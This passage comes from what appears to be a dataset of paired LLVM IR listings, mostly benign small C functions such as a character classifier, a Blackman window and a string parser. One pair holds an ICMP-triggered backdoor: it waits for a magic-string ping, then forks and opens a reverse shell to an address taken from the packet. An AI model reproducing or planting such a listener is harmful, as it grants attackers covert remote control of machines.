%24 = load i8, ptr %2, align 1
%25 = sext i8 %24 to i32
%26 = icmp sle i32 48, %25
br i1 %26, label %27, label %33
27: ; preds = %23
%28 = load i8, ptr %2, align 1
%29 = sext i8 %28 to i32
%30 = icmp sle i32 %29, 57
br i1 %30, label %31, label %33
31: ; preds = %27
%32 = call i32 @printf(ptr noundef @.str.3)
br label %33
33: ; preds = %31, %27, %23
br label %34
34: ; preds = %33, %21
br label %35
35: ; preds = %34, %11
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpde_8y87g.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@.str.1 = private unnamed_addr constant [13 x i8] c"Small Letter\00", align 1
@.str.2 = private unnamed_addr constant [15 x i8] c"Capital Letter\00", align 1
@.str.3 = private unnamed_addr constant [6 x i8] c"Digit\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i8, align 1
store i32 0, ptr %1, align 4
%3 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
%4 = load i8, ptr %2, align 1
%5 = sext i8 %4 to i32
%6 = icmp sle i32 97, %5
br i1 %6, label %7, label %13
7: ; preds = %0
%8 = load i8, ptr %2, align 1
%9 = sext i8 %8 to i32
%10 = icmp sle i32 %9, 122
br i1 %10, label %11, label %13
11: ; preds = %7
%12 = call i32 @printf(ptr noundef @.str.1)
br label %35
13: ; preds = %7, %0
%14 = load i8, ptr %2, align 1
%15 = sext i8 %14 to i32
%16 = icmp sle i32 65, %15
br i1 %16, label %17, label %23
17: ; preds = %13
%18 = load i8, ptr %2, align 1
%19 = sext i8 %18 to i32
%20 = icmp sle i32 %19, 90
br i1 %20, label %21, label %23
21: ; preds = %17
%22 = call i32 @printf(ptr noundef @.str.2)
br label %34
23: ; preds = %17, %13
%24 = load i8, ptr %2, align 1
%25 = sext i8 %24 to i32
%26 = icmp sle i32 48, %25
br i1 %26, label %27, label %33
27: ; preds = %23
%28 = load i8, ptr %2, align 1
%29 = sext i8 %28 to i32
%30 = icmp sle i32 %29, 57
br i1 %30, label %31, label %33
31: ; preds = %27
%32 = call i32 @printf(ptr noundef @.str.3)
br label %33
33: ; preds = %31, %27, %23
br label %34
34: ; preds = %33, %21
br label %35
35: ; preds = %34, %11
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp1kfvjhpm.c'
source_filename = "/tmp/tmp1kfvjhpm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.ip = type { i32 }
%struct.icmp = type { i64, i64 }
@.str = private unnamed_addr constant [13 x i8] c"maK_it_$H3LL\00", align 1
@AF_INET = dso_local global i32 0, align 4
@SOCK_RAW = dso_local global i32 0, align 4
@IPPROTO_ICMP = dso_local global i32 0, align 4
@ICMP_ECHO = dso_local global i64 0, align 8
@.str.1 = private unnamed_addr constant [8 x i8] c"%15s %d\00", align 1
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @ping_listener() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca [1025 x i8], align 16
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca [16 x i8], align 16
%8 = alloca i32, align 4
%9 = call i32 @strlen(ptr noundef @.str)
store i32 %9, ptr %3, align 4
%10 = load i32, ptr @AF_INET, align 4
%11 = load i32, ptr @SOCK_RAW, align 4
%12 = load i32, ptr @IPPROTO_ICMP, align 4
%13 = call i32 @socket(i32 noundef %10, i32 noundef %11, i32 noundef %12)
store i32 %13, ptr %1, align 4
br label %14
14: ; preds = %0, %57, %69
%15 = getelementptr inbounds [1025 x i8], ptr %4, i64 0, i64 0
%16 = call i32 @bzero(ptr noundef %15, i32 noundef 1025)
%17 = load i32, ptr %1, align 4
%18 = getelementptr inbounds [1025 x i8], ptr %4, i64 0, i64 0
%19 = call i32 @recv(i32 noundef %17, ptr noundef %18, i32 noundef 1024, i32 noundef 0)
store i32 %19, ptr %2, align 4
%20 = load i32, ptr %2, align 4
%21 = icmp sgt i32 %20, 0
br i1 %21, label %22, label %69
22: ; preds = %14
%23 = getelementptr inbounds [1025 x i8], ptr %4, i64 0, i64 0
store ptr %23, ptr %5, align 8
%24 = load ptr, ptr %5, align 8
%25 = getelementptr inbounds %struct.ip, ptr %24, i64 1
store ptr %25, ptr %6, align 8
%26 = load ptr, ptr %6, align 8
%27 = getelementptr inbounds %struct.icmp, ptr %26, i32 0, i32 0
%28 = load i64, ptr %27, align 8
%29 = load i64, ptr @ICMP_ECHO, align 8
%30 = icmp eq i64 %28, %29
br i1 %30, label %31, label %68
31: ; preds = %22
%32 = load ptr, ptr %6, align 8
%33 = getelementptr inbounds %struct.icmp, ptr %32, i32 0, i32 1
%34 = load i64, ptr %33, align 8
%35 = load i32, ptr %3, align 4
%36 = call i64 @memcmp(i64 noundef %34, ptr noundef @.str, i32 noundef %35)
%37 = icmp eq i64 %36, 0
br i1 %37, label %38, label %68
38: ; preds = %31
store i32 0, ptr %8, align 4
%39 = getelementptr inbounds [16 x i8], ptr %7, i64 0, i64 0
%40 = call i32 @bzero(ptr noundef %39, i32 noundef 16)
%41 = load ptr, ptr %6, align 8
%42 = getelementptr inbounds %struct.icmp, ptr %41, i32 0, i32 1
%43 = load i64, ptr %42, align 8
%44 = load i32, ptr %3, align 4
%45 = sext i32 %44 to i64
%46 = add nsw i64 %43, %45
%47 = add nsw i64 %46, 1
%48 = inttoptr i64 %47 to ptr
%49 = getelementptr inbounds [16 x i8], ptr %7, i64 0, i64 0
%50 = call i32 @sscanf(ptr noundef %48, ptr noundef @.str.1, ptr noundef %49, ptr noundef %8)
%51 = load i32, ptr %8, align 4
%52 = icmp sle i32 %51, 0
br i1 %52, label %57, label %53
53: ; preds = %38
%54 = getelementptr inbounds [16 x i8], ptr %7, i64 0, i64 0
%55 = call i32 @strlen(ptr noundef %54)
%56 = icmp slt i32 %55, 7
br i1 %56, label %57, label %58
57: ; preds = %53, %38
br label %14
58: ; preds = %53
%59 = call i64 (...) @fork()
%60 = icmp eq i64 %59, 0
br i1 %60, label %61, label %67
61: ; preds = %58
%62 = getelementptr inbounds [16 x i8], ptr %7, i64 0, i64 0
%63 = load i32, ptr %8, align 4
%64 = call i32 @reverse_shell(ptr noundef %62, i32 noundef %63)
%65 = load i32, ptr @EXIT_SUCCESS, align 4
%66 = call i32 @exit(i32 noundef %65) #3
unreachable
67: ; preds = %58
br label %68
68: ; preds = %67, %31, %22
br label %69
69: ; preds = %68, %14
br label %14
}
declare i32 @strlen(ptr noundef) #1
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @bzero(ptr noundef, i32 noundef) #1
declare i32 @recv(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i64 @memcmp(i64 noundef, ptr noundef, i32 noundef) #1
declare i32 @sscanf(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i64 @fork(...) #1
declare i32 @reverse_shell(ptr noundef, i32 noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp1kfvjhpm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.ip = type { i32 }
%struct.icmp = type { i64, i64 }
@.str = private unnamed_addr constant [13 x i8] c"maK_it_$H3LL\00", align 1
@AF_INET = dso_local global i32 0, align 4
@SOCK_RAW = dso_local global i32 0, align 4
@IPPROTO_ICMP = dso_local global i32 0, align 4
@ICMP_ECHO = dso_local global i64 0, align 8
@.str.1 = private unnamed_addr constant [8 x i8] c"%15s %d\00", align 1
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @ping_listener() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca [1025 x i8], align 16
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca [16 x i8], align 16
%8 = alloca i32, align 4
%9 = call i32 @strlen(ptr noundef @.str)
store i32 %9, ptr %3, align 4
%10 = load i32, ptr @AF_INET, align 4
%11 = load i32, ptr @SOCK_RAW, align 4
%12 = load i32, ptr @IPPROTO_ICMP, align 4
%13 = call i32 @socket(i32 noundef %10, i32 noundef %11, i32 noundef %12)
store i32 %13, ptr %1, align 4
br label %14
14: ; preds = %.backedge, %0
%15 = getelementptr inbounds [1025 x i8], ptr %4, i64 0, i64 0
%16 = call i32 @bzero(ptr noundef %15, i32 noundef 1025)
%17 = load i32, ptr %1, align 4
%18 = getelementptr inbounds [1025 x i8], ptr %4, i64 0, i64 0
%19 = call i32 @recv(i32 noundef %17, ptr noundef %18, i32 noundef 1024, i32 noundef 0)
store i32 %19, ptr %2, align 4
%20 = load i32, ptr %2, align 4
%21 = icmp sgt i32 %20, 0
br i1 %21, label %22, label %69
22: ; preds = %14
%23 = getelementptr inbounds [1025 x i8], ptr %4, i64 0, i64 0
store ptr %23, ptr %5, align 8
%24 = load ptr, ptr %5, align 8
%25 = getelementptr inbounds %struct.ip, ptr %24, i64 1
store ptr %25, ptr %6, align 8
%26 = load ptr, ptr %6, align 8
%27 = getelementptr inbounds %struct.icmp, ptr %26, i32 0, i32 0
%28 = load i64, ptr %27, align 8
%29 = load i64, ptr @ICMP_ECHO, align 8
%30 = icmp eq i64 %28, %29
br i1 %30, label %31, label %68
31: ; preds = %22
%32 = load ptr, ptr %6, align 8
%33 = getelementptr inbounds %struct.icmp, ptr %32, i32 0, i32 1
%34 = load i64, ptr %33, align 8
%35 = load i32, ptr %3, align 4
%36 = call i64 @memcmp(i64 noundef %34, ptr noundef @.str, i32 noundef %35)
%37 = icmp eq i64 %36, 0
br i1 %37, label %38, label %68
38: ; preds = %31
store i32 0, ptr %8, align 4
%39 = getelementptr inbounds [16 x i8], ptr %7, i64 0, i64 0
%40 = call i32 @bzero(ptr noundef %39, i32 noundef 16)
%41 = load ptr, ptr %6, align 8
%42 = getelementptr inbounds %struct.icmp, ptr %41, i32 0, i32 1
%43 = load i64, ptr %42, align 8
%44 = load i32, ptr %3, align 4
%45 = sext i32 %44 to i64
%46 = add nsw i64 %43, %45
%47 = add nsw i64 %46, 1
%48 = inttoptr i64 %47 to ptr
%49 = getelementptr inbounds [16 x i8], ptr %7, i64 0, i64 0
%50 = call i32 @sscanf(ptr noundef %48, ptr noundef @.str.1, ptr noundef %49, ptr noundef %8)
%51 = load i32, ptr %8, align 4
%52 = icmp sle i32 %51, 0
br i1 %52, label %57, label %53
53: ; preds = %38
%54 = getelementptr inbounds [16 x i8], ptr %7, i64 0, i64 0
%55 = call i32 @strlen(ptr noundef %54)
%56 = icmp slt i32 %55, 7
br i1 %56, label %57, label %58
57: ; preds = %53, %38
br label %.backedge
.backedge: ; preds = %57, %69
br label %14
58: ; preds = %53
%59 = call i64 (...) @fork()
%60 = icmp eq i64 %59, 0
br i1 %60, label %61, label %67
61: ; preds = %58
%62 = getelementptr inbounds [16 x i8], ptr %7, i64 0, i64 0
%63 = load i32, ptr %8, align 4
%64 = call i32 @reverse_shell(ptr noundef %62, i32 noundef %63)
%65 = load i32, ptr @EXIT_SUCCESS, align 4
%66 = call i32 @exit(i32 noundef %65) #3
unreachable
67: ; preds = %58
br label %68
68: ; preds = %67, %31, %22
br label %69
69: ; preds = %68, %14
br label %.backedge
}
declare i32 @strlen(ptr noundef) #1
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @bzero(ptr noundef, i32 noundef) #1
declare i32 @recv(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i64 @memcmp(i64 noundef, ptr noundef, i32 noundef) #1
declare i32 @sscanf(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i64 @fork(...) #1
declare i32 @reverse_shell(ptr noundef, i32 noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpzp_aek1h.c'
source_filename = "/tmp/tmpzp_aek1h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzp_aek1h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpgmf9af9j.c'
source_filename = "/tmp/tmpgmf9af9j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @blackman(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store i32 %1, ptr %4, align 4
%5 = load i32, ptr %3, align 4
%6 = sitofp i32 %5 to double
%7 = fmul double 6.280000e+00, %6
%8 = load i32, ptr %4, align 4
%9 = sub nsw i32 %8, 1
%10 = sitofp i32 %9 to double
%11 = fdiv double %7, %10
%12 = call double @cos(double noundef %11) #3
%13 = call double @llvm.fmuladd.f64(double -5.000000e-01, double %12, double 4.200000e-01)
%14 = load i32, ptr %3, align 4
%15 = sitofp i32 %14 to double
%16 = fmul double 1.256000e+01, %15
%17 = load i32, ptr %4, align 4
%18 = sub nsw i32 %17, 1
%19 = sitofp i32 %18 to double
%20 = fdiv double %16, %19
%21 = call double @cos(double noundef %20) #3
%22 = call double @llvm.fmuladd.f64(double 8.000000e-02, double %21, double %13)
ret double %22
}
; Function Attrs: nounwind
declare double @cos(double noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpgmf9af9j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @blackman(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 %0, ptr %3, align 4
store i32 %1, ptr %4, align 4
%5 = load i32, ptr %3, align 4
%6 = sitofp i32 %5 to double
%7 = fmul double 6.280000e+00, %6
%8 = load i32, ptr %4, align 4
%9 = sub nsw i32 %8, 1
%10 = sitofp i32 %9 to double
%11 = fdiv double %7, %10
%12 = call double @cos(double noundef %11) #3
%13 = call double @llvm.fmuladd.f64(double -5.000000e-01, double %12, double 4.200000e-01)
%14 = load i32, ptr %3, align 4
%15 = sitofp i32 %14 to double
%16 = fmul double 1.256000e+01, %15
%17 = load i32, ptr %4, align 4
%18 = sub nsw i32 %17, 1
%19 = sitofp i32 %18 to double
%20 = fdiv double %16, %19
%21 = call double @cos(double noundef %20) #3
%22 = call double @llvm.fmuladd.f64(double 8.000000e-02, double %21, double %13)
ret double %22
}
; Function Attrs: nounwind
declare double @cos(double noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp5_cob5sa.c'
source_filename = "/tmp/tmp5_cob5sa.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"\22'\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"([{\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c")]}\00", align 1
@.str.3 = private unnamed_addr constant [7 x i8] c" \09\0A\0D\0C\0B\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @strpspn(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca [256 x i8], align 16
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca i32, align 4
%19 = alloca i32, align 4
%20 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%21 = load ptr, ptr %4, align 8
store ptr %21, ptr %7, align 8
call void @llvm.memset.p0.i64(ptr align 16 %8, i8 0, i64 256, i1 false)
%22 = getelementptr inbounds [256 x i8], ptr %8, i64 0, i64 0
store ptr %22, ptr %9, align 8
%23 = load ptr, ptr %5, align 8
store ptr %23, ptr %10, align 8
store i32 0, ptr %11, align 4
store i32 0, ptr %12, align 4
store i32 0, ptr %13, align 4
store i32 2047, ptr %14, align 4
store i32 0, ptr %15, align 4
store i32 1, ptr %16, align 4
%24 = load ptr, ptr %4, align 8
%25 = icmp eq ptr %24, null
br i1 %25, label %26, label %27
26: ; preds = %3
br i1 true, label %34, label %35
27: ; preds = %3
%28 = load ptr, ptr %4, align 8
%29 = load i8, ptr %28, align 1
%30 = sext i8 %29 to i32
%31 = icmp eq i32 %30, 0
br i1 %31, label %32, label %33
32: ; preds = %27
br i1 true, label %34, label %35
33: ; preds = %27
br i1 false, label %34, label %35
34: ; preds = %33, %32, %26
br label %233
35: ; preds = %33, %32, %26
%36 = load ptr, ptr %5, align 8
%37 = icmp eq ptr %36, null
br i1 %37, label %38, label %39
38: ; preds = %35
br i1 true, label %72, label %46
39: ; preds = %35
%40 = load ptr, ptr %5, align 8
%41 = load i8, ptr %40, align 1
%42 = sext i8 %41 to i32
%43 = icmp eq i32 %42, 0
br i1 %43, label %44, label %45
44: ; preds = %39
br i1 true, label %72, label %46
45: ; preds = %39
br i1 false, label %72, label %46
46: ; preds = %45, %44, %38
br label %47
47: ; preds = %68, %46
%48 = load ptr, ptr %10, align 8
%49 = load i8, ptr %48, align 1
%50 = sext i8 %49 to i32
%51 = icmp ne i32 %50, 0
br i1 %51, label %52, label %71
52: ; preds = %47
%53 = load ptr, ptr %10, align 8
%54 = load i8, ptr %53, align 1
%55 = sext i8 %54 to i32
%56 = icmp ne i32 %55, 0
br i1 %56, label %57, label %62
57: ; preds = %52
%58 = load ptr, ptr %10, align 8
%59 = load i8, ptr %58, align 1
%60 = call ptr @strchr(ptr noundef @.str, i8 noundef signext %59)
%61 = icmp ne ptr %60, null
br i1 %61, label %67, label %62
62: ; preds = %57, %52
%63 = load ptr, ptr %10, align 8
%64 = load i8, ptr %63, align 1
%65 = load ptr, ptr %9, align 8
%66 = getelementptr inbounds i8, ptr %65, i32 1
store ptr %66, ptr %9, align 8
store i8 %64, ptr %65, align 1
br label %68
67: ; preds = %57
store i32 1, ptr %11, align 4
br label %68
68: ; preds = %67, %62
%69 = load ptr, ptr %10, align 8
%70 = getelementptr inbounds i8, ptr %69, i32 1
store ptr %70, ptr %10, align 8
br label %47, !llvm.loop !6
71: ; preds = %47
br label %72
72: ; preds = %71, %45, %44, %38
%73 = load ptr, ptr %9, align 8
store i8 0, ptr %73, align 1
br label %74
74: ; preds = %224, %72
%75 = load ptr, ptr %7, align 8
%76 = load i8, ptr %75, align 1
%77 = sext i8 %76 to i32
%78 = icmp ne i32 %77, 0
br i1 %78, label %79, label %232
79: ; preds = %74
store i32 1, ptr %17, align 4
%80 = load i32, ptr %15, align 4
%81 = icmp ne i32 %80, 0
br i1 %81, label %109, label %82
82: ; preds = %79
%83 = load ptr, ptr %7, align 8
%84 = load i8, ptr %83, align 1
%85 = sext i8 %84 to i32
%86 = icmp ne i32 %85, 0
br i1 %86, label %87, label %95
87: ; preds = %82
%88 = load ptr, ptr %7, align 8
%89 = load i8, ptr %88, align 1
%90 = call ptr @strchr(ptr noundef @.str.1, i8 noundef signext %89)
%91 = icmp ne ptr %90, null
br i1 %91, label %92, label %95
92: ; preds = %87
%93 = load i32, ptr %12, align 4
%94 = add nsw i32 %93, 1
store i32 %94, ptr %12, align 4
br label %95
95: ; preds = %92, %87, %82
%96 = load ptr, ptr %7, align 8
%97 = load i8, ptr %96, align 1
%98 = sext i8 %97 to i32
%99 = icmp ne i32 %98, 0
br i1 %99, label %100, label %108
100: ; preds = %95
%101 = load ptr, ptr %7, align 8
%102 = load i8, ptr %101, align 1
%103 = call ptr @strchr(ptr noundef @.str.2, i8 noundef signext %102)
%104 = icmp ne ptr %103, null
br i1 %104, label %105, label %108
105: ; preds = %100
%106 = load i32, ptr %12, align 4
%107 = add nsw i32 %106, -1
store i32 %107, ptr %12, align 4
br label %108
108: ; preds = %105, %100, %95
br label %109
109: ; preds = %108, %79
%110 = load i32, ptr %12, align 4
%111 = icmp slt i32 %110, 1
br i1 %111, label %112, label %186
112: ; preds = %109
%113 = load i32, ptr %11, align 4
%114 = icmp ne i32 %113, 0
br i1 %114, label %115, label %150
115: ; preds = %112
%116 = load ptr, ptr %7, align 8
%117 = load i8, ptr %116, align 1
%118 = sext i8 %117 to i32
%119 = icmp ne i32 %118, 0
br i1 %119, label %120, label %149
120: ; preds = %115
%121 = load ptr, ptr %7, align 8
%122 = load i8, ptr %121, align 1
%123 = call ptr @strchr(ptr noundef @.str, i8 noundef signext %122)
%124 = icmp ne ptr %123, null
br i1 %124, label %125, label %149
125: ; preds = %120
%126 = load ptr, ptr %7, align 8
%127 = call ptr @strqspn(ptr noundef %126, ptr noundef null, i32 noundef 0)
store ptr %127, ptr %9, align 8
%128 = load ptr, ptr %9, align 8
%129 = load ptr, ptr %7, align 8
%130 = icmp ne ptr %128, %129
br i1 %130, label %131, label %148
131: ; preds = %125
%132 = load ptr, ptr %9, align 8
%133 = load i8, ptr %132, align 1
%134 = sext i8 %133 to i32
%135 = load ptr, ptr %7, align 8
%136 = load i8, ptr %135, align 1
%137 = sext i8 %136 to i32
%138 = icmp eq i32 %134, %137
br i1 %138, label %139, label %147
139: ; preds = %131
%140 = load ptr, ptr %9, align 8
%141 = load ptr, ptr %7, align 8
%142 = ptrtoint ptr %140 to i64
%143 = ptrtoint ptr %141 to i64
%144 = sub i64 %142, %143
%145 = trunc i64 %144 to i32
